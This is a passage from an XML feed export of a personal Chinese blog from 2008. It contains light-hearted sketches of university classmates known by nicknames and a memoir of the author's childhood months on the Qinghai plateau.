		<eb:modificationDate></eb:modificationDate>
    </item>
    <item>
		<title><![CDATA[ 海洋班列传之二十四－－男老王传 ]]></title>
		<link>http://blog.tom.com/madai26/article/1291.html</link>
		<description><![CDATA[ <p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.7pt; TEXT-ALIGN: center; mso-char-indent-count: 2.45" align="center"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">海洋班列传之－－男老王传</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.7pt; TEXT-ALIGN: center; mso-char-indent-count: 2.45" align="center">&nbsp;</p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.7pt; mso-char-indent-count: 2.45"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">有男老王，当然会有女老王了（不告诉你们，哈哈）。这个男老王，平时话不多，但是人很勤奋，也很谦虚，很乐于助人。什么时候对他的印象一下子加深了呢？是有一天，听说他哥哥来看他了，其实这也没有什么，但是有什么的就是，他哥哥和他长一样，也就是说，他原来是双胞胎中的一个，这就有点神奇啊。当初我妈拼命想生双胞胎，但是一生出来，就很失望，只有一个，所以我妈对双胞胎的渴求在我脑海里落下了深深的烙印，平时看到有双胞胎葡萄、双胞胎荔枝、双黄蛋什么的都会千万百计省给我吃，对我可是不小的压力啊。所以在这样的潜移默化下，我在一听到男老王居然有双胞胎哥哥以后，连忙打听他哥哥的行程、路线、逗留时间，如此周密之计划下，还只看到惊鸿一瞥，恩，真的差不多，差不多，就是到底早在社会上混了，眉眼之间多了点沧桑。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.7pt; mso-char-indent-count: 2.45"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">男老王很多时间都是很老油布同学一个宿舍的，由于老油布同学太过闪亮，所以一有美眉去他们宿舍溜达，男老王同学只好安静的走开，留下一屋的旖旎。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.7pt; mso-char-indent-count: 2.45"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">有一点，给女老王我造成了困扰。上实验课的时候。老有男生在叫老王，叫的却不是我。所以为避免自作多情之嫌，我后来听到老王这两个字，干脆不理。所以就有误会我有点那啥了。言归正传，还是男老王，他字写得不错，所以我经常会去瞧瞧他的实验报告，好东西，大家要分享嘛。男老王毕业以后，几乎就没有见了，在南通的你，还好吗？现在苏通大桥通车了，我们又近了很多啊。</span></p> ]]></description>
		<eb:creationDate>2008-07-30 20:54:07</eb:creationDate>
		<eb:modificationDate></eb:modificationDate>
    </item>
    <item>
		<title><![CDATA[ 海洋班列传之二十二－－老油布传 ]]></title>
		<link>http://blog.tom.com/madai26/article/1287.html</link>
		<description><![CDATA[ <p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.7pt; TEXT-ALIGN: center; mso-char-indent-count: 2.45" align="center"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">海洋班列传之－－老油布传</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.7pt; mso-char-indent-count: 2.45"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">下面隆重出场的是老油布同学，外型一样玉树临风，风流倜傥，只是他的年纪比小油布大点，在害怕重名的情况下，就以老油布称呼（此理由有点虚伪）。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.7pt; mso-char-indent-count: 2.45"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">大一刚开学的时候，老油布着实风光无限了一通，记得我们和上一届联谊的时候，老油布就是我们班出的重量级主持人（不是</span><span lang="EN-US"><font face="Times New Roman">weight</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的重，而是让学姐主持人认了我们班好多弟弟的帅），回想那天，老油布同学梳着油光可见的中分发型（</span><span lang="EN-US"><font face="Times New Roman">MS</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">叫汉奸发，不要拿砖头砸我），西装笔挺，内有雪白的衬衣，看上去非常非常帅，我们班的女生没有</span><span lang="EN-US"><font face="Times New Roman">100%</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">也有</span><span lang="EN-US"><font face="Times New Roman">95%</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">被他迷倒了，女主持在老油布的光彩照人之下黯然失色。联谊会开过以后，就发现学姐们开始以各种理由接近我们班的男生……恨得我们班女生牙痒痒的。都是帅惹得祸啊！差点搞成班级与班级之间的纠纷。幸亏老油布那时候处事就比较成熟，没有造成刀光剑影的流血场面。</span></p>
<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">大学里，我一直有个未实现的梦想——就是和老油布搭伙。为啥这样讲呢，因为学生大多都囊中羞涩，所以吃饭能看到肉，当然眼睛都绿了。那时候食堂的饭菜虽然像猪食，但也要下咽，所以金杏楼楼下的留学生餐厅一开，虽然有点小贵，但是偶尔也是可以去改善伙食的。那时候我和小宝去金杏楼，点三碟菜，然后两碗免费汤，两碗白米饭，到最后，盘子差不多都能当镜子用，但是老油布同学那时候就非常的小资，一个人点三、四个菜，然后吃完的时候，感觉还剩了大半，于是我和老油布同学委婉了提了下搭伙的要求，但是没有理我，哭死，还是魅力不够，后来我安慰我自己说：不搭伙也罢，省得哪天被暗杀了也不知道是谁干的。生命最宝贵。我就冒着生命危险和老油布同学吃过一顿饭，地点在学校食堂，那里不偏僻，也不算严格意义上的一起吃饭，只是在很长的桌子上做了个面对面。说起一起吃饭的原因，真是很牵强，是源于一个小小的打赌。大一下学期，我们上解剖课，据说有人上这课的时候就不吃肉包，我为了证明我不忌讳，于是豪言壮志了一番：我吃饭的时候，无论别人说什么，我都不会吃不下。于是就有了和老油布一起</span><span lang="EN-US" style="FONT-SIZE: 10.5pt; FONT-FAMILY: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体">face to face</span> <span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">吃饭的机会，最后的结果是：老油布一边吃饭，一把说恶心的事情，然后我继续吃，最后老油布自己说的恶心的吃不下去了，扔下我一个人走了，后来，就再也没有机会和老油布一起吃饭，我心里那个后悔啊，我为啥要那么逞强那？不然以后也不会错失搭伙的机会，无限后悔中……</span> ]]></description>
		<eb:creationDate>2008-07-25 23:22:20</eb:creationDate>
		<eb:modificationDate></eb:modificationDate>
    </item>
    <item>
		<title><![CDATA[ 海洋班列传之二十－－小油布传 ]]></title>
		<link>http://blog.tom.com/madai26/article/1284.html</link>
		<description><![CDATA[ <p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.85pt; mso-char-indent-count: 2.45">&nbsp;</p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.7pt; TEXT-ALIGN: center; mso-char-indent-count: 2.45" align="center"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">海洋班列传之－－小油布传</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.7pt; mso-char-indent-count: 2.45"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">本来我想写杨过传或者回眸一笑的，怕某人看了自我感觉会大大膨胀，也避免些闲言碎语，所以本着忠言逆耳的宗旨，隆重推出我们班的帅哥——小油布同志。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.7pt; mso-char-indent-count: 2.45"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">称他为小油布，当然对应有个老油布，这个以后再讲。说明小油布这个名字的来源，我想用个故事可以参考下。某日，讲起化妆品广告，考虑到代言人的高额利润，小油布同志高呼：找我拍广告去吧，我就是使用前</span><span lang="EN-US"><font face="Times New Roman">......</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">不过，除却脸有些沧桑外，小油布真的是玉树临风，风流倜傥，迷倒一批美眉。简略介绍如下：实习生类、粉丝类、同学类、校友类、校外业务类……</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.7pt; mso-char-indent-count: 2.45"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">为啥他这么吃香呢，看他的另外两个绰号：一个是是回眸一笑。典故中是用来形容杨贵妃同学的，但是在</span><span lang="EN-US"><font face="Times New Roman">98</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">年的那年秋天，这样的称呼没有落到海洋班女生的头上，却落到了这位小油布同志手里，充分说明了他笑容的无穷魅力，大家可以想象下他回眸一笑的经典动作。还有一个绰号一般不用，但是大家知道就好，当时演神雕那个剧本的时候，秃鹫说杨过随我挑，我嘛，假装矜持一下，就挑中了他。演出的时候，就是因为他的笑容太迷人，就是因为他脸上的胭脂太让我陶醉，我差点忘记上台，更甚的是，台词忘了好几处，唉，人生多点花痴的经历也不见得不好。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.7pt; mso-char-indent-count: 2.45"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">小油布还是体育委员，真是三好学生，脸好、人好、身材好。每年的运动会，拿分的也就小油布同志，谁让我们班是体育困难大户呢，总不能动员我去跳高、扔铅球吧。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.7pt; mso-char-indent-count: 2.45"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">我称呼他为同志的唯一含义就是他和我一样，都是党员，这个解释不错吧。现在小油布同志已经成为了一名大学老师，他还兼做李时珍教授的工作，所以有采药需求的，都可以联系他，电话我可以私给需要的人。</span></p> ]]></description>
		<eb:creationDate>2008-07-24 01:34:31</eb:creationDate>
		<eb:modificationDate></eb:modificationDate>
    </item>
    <item>
		<title><![CDATA[ 海洋班列传之－－烧鸡传 ]]></title>
		<link>http://blog.tom.com/madai26/article/1283.html</link>
		<description><![CDATA[ <p style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center"><span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA"><b><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><a title=" 海洋班列传之－－老蒋传 " href="http://blog.tom.com/madai26/article/275.html" target="_blank"><span lang="EN-US" style="COLOR: #333333; FONT-FAMILY: 宋体; TEXT-DECORATION: none; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; text-underline: none"><span lang="EN-US">海洋班列传之－－</span></span><span lang="EN-US" style="COLOR: #333333; FONT-FAMILY: 宋体; TEXT-DECORATION: none; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; text-underline: none"><span lang="EN-US">烧鸡</span></span><span lang="EN-US" style="COLOR: #333333; FONT-FAMILY: 宋体; TEXT-DECORATION: none; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; text-underline: none"><span lang="EN-US">传</span></span> </a></span></b></span></p>
<p style="MARGIN: 0cm 0cm 0pt"><b><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;</span></span></b> <b><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial">至于究竟是烧鸡，还是骚鸡啥的，我们暂不考究。烧鸡长在叫化鸡的故乡——常熟，不过这个称呼和它没关系。</span></b></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.85pt; mso-char-indent-count: 2.45"><b><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial">烧鸡和秃鹫两种禽类一起的时候，就是某种对比：一个是穿着有阳光味道的毛衣，有着干净整洁仪表的典型的江南男孩模样；另外一个是名牌也能穿出地摊货感觉，整天叫嚣着我就是不爱洗澡的西北式城里人形象。对于这个比喻，有人肯定会不高兴，但是我只是描述个事实而已，不承担什么法律责任。烧鸡和秃鹫是男生中最早合买电脑的人，所以他们的那台电脑，也成了我们女生经常觊觎的目标。有次，把放电脑的男生宿舍清场以后看恐怖片，看到最恐怖的时候，有个不速之客敲门了——小米，当时，我们宰了他的冲动都有呢。</span></b></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.85pt; mso-char-indent-count: 2.45"><b><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial">烧鸡和小米这两种相生相克的东西在一起时，就变成了难兄难弟，大学里还是很感激烧鸡和小米的，那时候我们一起在海洋暑期社会实践，他们带我第一次去了</span></b><b><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">KTV</span></b><b><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial">，我记得是华夏，现在好像关门了，我很怯生生的唱着歌，也没有想到几年以后，会差点成麦霸级的人物，烧鸡的水平我是超越了，小米还是稳坐情歌王子的宝座。和烧鸡和小米一个实验室做实验的好处除了能飙歌，还能经常吃到兔子肉，这大大提高了我的生活质量，兔子的来源不便于透漏。烧鸡和小米都是性情中人，是我们班最绅士的一对男生组合，我们女生那边耳边老刮得风就是：某某某暗恋烧鸡啥的</span></b><b><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">…….</span></b><b><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial">牵涉到当事人的隐私，只能省略号一下。</span></b></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 25.85pt; mso-char-indent-count: 2.45"><b><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial">烧鸡应该是很小资的男人，最神奇的是他那时候有个吊床，早就跟他预订过，好像最后也没见踪影呢，只是有个模糊的美好的梦想。好久没有看到烧鸡了，有次同学婚礼上，烧鸡还自告奋勇要送开车送我回老家，同学还真是老的好啊！很感动</span></b><b><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">ing</span></b><b><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial">。</span></b></p>
<p>&nbsp;</p> ]]></description>
		<eb:creationDate>2008-07-24 01:07:50</eb:creationDate>
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		<title><![CDATA[ 青海，我的高原 ]]></title>
		<link>http://blog.tom.com/madai26/article/1270.html</link>
		<description><![CDATA[ <p style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="left"><span lang="EN-US" style="FONT-SIZE: 14pt">萍踪侠影之一</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="left">&nbsp;</p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="left"><span lang="EN-US" style="FONT-SIZE: 14pt">青海，我的高原</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; mso-char-indent-count: 2.0"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">这是我去过的最远的地方，也是最不想再去的地方。那时候，我才</span><span lang="EN-US"><font face="Times New Roman">6</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">岁，那里的气候，对我的皮肤真是一种摧残，高原反应，极干燥的空气，我的水灵劲全没有了，那一年，在青海，只有两坨高原红。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; mso-char-indent-count: 2.0"><span lang="EN-US"><font face="Times New Roman">6</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">岁，是不会记得很多事情的，所以很多回忆只是局限在美好和不美好之间，还不懂得哀伤与感怀。有一个回族老太太，特别喜欢我这个汉族的小姑娘，大概我小的时候真的很可爱，每次去清真寺的时候，都会牵着我的小手，然后送我很多五颜六色的糕点，在那样个荒凉的高原，这永远是我温暖的回忆，也解了我的馋虫。我住的地方叫龙羊峡，很美丽的名字，可惜不是三峡，是有着近</span><span lang="EN-US"><font face="Times New Roman">3000</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">米的不毛之地，山都是秃山，很多山，但都是很柔和的弧度，一如既往的光溜溜，除了很蓝的天，阳光很刺眼，地上都是灰灰的，因为气候非常干燥，风化下来的灰尘一直在游离，不像江南，那么多的灰尘都会凝结在地表，青海，更多的就是裸石。青海那里有黄河的源头，很清澈，很湍急，河底的石头都是卵圆形的，不管大小，原来水流的力量这样的巨大。水非常的刺骨，小时候的我，还想不通黄河的上游为什么是清的，水为什么这么冷，河里的船为什么是用皮做的？但是我明白的是，这个地方一点都不好玩，除了湛蓝的天空，其他的都是灰蒙蒙的，连人，也沧桑许多，四十岁左右的老乡，牙齿都没有剩几个了，看上去就像六十多的。脸上的沟壑，也深邃许多。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; mso-char-indent-count: 2.0"><span lang="EN-US"><font face="Times New Roman">6</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">岁，是好奇、好学与敏感的年龄。在青海的幼儿园，遭遇了人生的第一次投诉，那里的老师一直朝我妈告状，说我太娇气，什么都不吃。其实那么小的我，忍受着干燥之苦，高原反应之苦，由于气压太低，我经常无缘无故就流鼻血了，本来就缺氧，小小的年纪就头晕目眩，胃口自然不会好。我的中饭通常就是家里带的一个苹果和几片饼干，真的对不起那高额的费用，我不吃羊肉芹菜饺子，不吃窝窝头，不吃糊糊，所以很特立独行。也验证了北方人的看法：南方孩子太娇气。后来，我终于不用去那个幼儿园，我妈把我带到单位，我认识了她的一些北方同事，都是不太白净的脸和同样不白净的棉袄，和这里的环境很相配。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; mso-char-indent-count: 2.0"><span lang="EN-US"><font face="Times New Roman">6</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">岁，不会懂很多人情世故，所以要付出童稚的代价。在老妈的单位里，认识了一个</span><span lang="EN-US"><font face="Times New Roman">H</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">嫂的东北人，我没有贬低东北人的意思，只是追讨一下自己的无知。</span><span lang="EN-US"><font face="Times New Roman">H</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">嫂和我妈是一样的工作，但是我妈累死累活，她却每天把手拢在衣袖里（青海比较冷），这儿扎扎堆，那里唠唠嗑，日子无比的悠闲。作为一个勤快的南方人，老妈自然有些怨气，于是在饭桌上就讲起了这事，聪明伶俐的我，自己牢牢记住了，第二天，我一鼓作气跑到</span><span lang="EN-US"><font face="Times New Roman">H</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">嫂面前，说：我妈说你一天到晚什么事情都不做，懒死了。这次冲动的惩罚是</span><span lang="EN-US"><font face="Times New Roman">H</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">嫂把这话告诉了我妈，结果我父母都要揍我一顿出气，吓得我哭的梨花带雨，连滚带爬的钻进了储物间，还把门反锁上了，（小小年纪就会反锁，貌似小时候挺聪明的么）。老爸老妈在门外叫嚣，我在门内哭：我就不出来，除非你们不打我！一开始，父母死活要打我，我就死活不出来，僵持了</span><span lang="EN-US"><font face="Times New Roman">3</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">个小时后，父母的火气也消掉一点了，最后好说歹说，把我劝出来了，也没有打我，但那次把我吓得不轻，</span><span lang="EN-US"><font face="Times New Roman">6</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">岁，就让我明白了，不能当面说别人坏话的真理，到现在都是刻骨铭心啊。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; mso-char-indent-count: 2.0"><span lang="EN-US"><font face="Times New Roman">6</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">岁，是个非常馋嘴的年龄，在物质资料贫乏的</span><span lang="EN-US"><font face="Times New Roman">80</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">年代，尤其是这样的穷山沟里，能吃到一样零食，是多么幸福的事情！老妈带了点云片糕、马蹄酥之类的到了青海，云片糕迟到最后，就跟木头一样硬，青海那里极为干燥，所以金属都是贼亮贼亮的，所有的食物，也不会腐烂，不会发霉，一样样的到最后都是刚刚的。云片糕啃不动的时候，有位上海的阿姨看到了可爱的我，雪中送炭的给了我一袋山楂条，那个美味啊，我妈怕我一天就吃完了，就放到了一个比较高的地方。一个人在家的时候，我就搬个凳子，爬上去，小心翼翼的偷走一根山楂条，几分钟之后，又是一条。小小年纪的我，已经明白如何运用工具了，最后这项技能，还帮我做成了一件很光荣的事情：有一天，老妈的同事来我家串门，我够不着门锁，我就搬了一个凳子，费了九牛二虎之力把门打开，迎接贵宾，并且还继续利用工具，给这位客人泡了红茶，老爸老妈回来，直夸我懂事，所有的人都觉得太有面子了。最后的奖励是一袋牛肉干，记住，是牦牛肉的喔，真是太美味了，到现在都没有吃过这么好吃的牛肉干，我等了那么多年，青海的经济也没有崛起到这个牦牛肉干，卖到华东来啊，市场头脑不够啊！还是半自然经济唉。青海还有好吃的就是奶粉，应该也是牦牛奶吧，反正泡了以后，上面有一层奶皮，香的很浓郁，比起什么荷兰乳牛，雀巢奶粉，不知道好喝多少倍呢，可是现在依旧吃不到。</span></p>
<p style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; mso-char-indent-count: 2.0"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">遗憾的是，在青海大半年，</span><span lang="EN-US"><font face="Times New Roman">6</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">岁，居然没有留下一张照片来，留下的，只是零星而深刻的回忆，因为这个地方，以后我也不一定会去了，只是多一个地方，人生就多一份经历。在青海的大半年，老天送了我两件礼物：第一，在青海天天流鼻血，回了平原以后，物极必反，撞电线杆上也不流了，大概是代偿机制，鼻子那边的血管经过</span><span lang="EN-US"><font face="Times New Roman">N</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">次的破裂以后，变得无比坚韧；第二，就是把耐缺氧能力锻炼出来了，所以对开窗关窗，一点概念都没有，不会觉得憋闷，空气稀薄的时候，小脸自然会通红，毛细管都扩展了，脸上俨然就是两坨高原红……</span></p> ]]></description>
		<eb:creationDate>2008-06-30 00:15:25</eb:creationDate>
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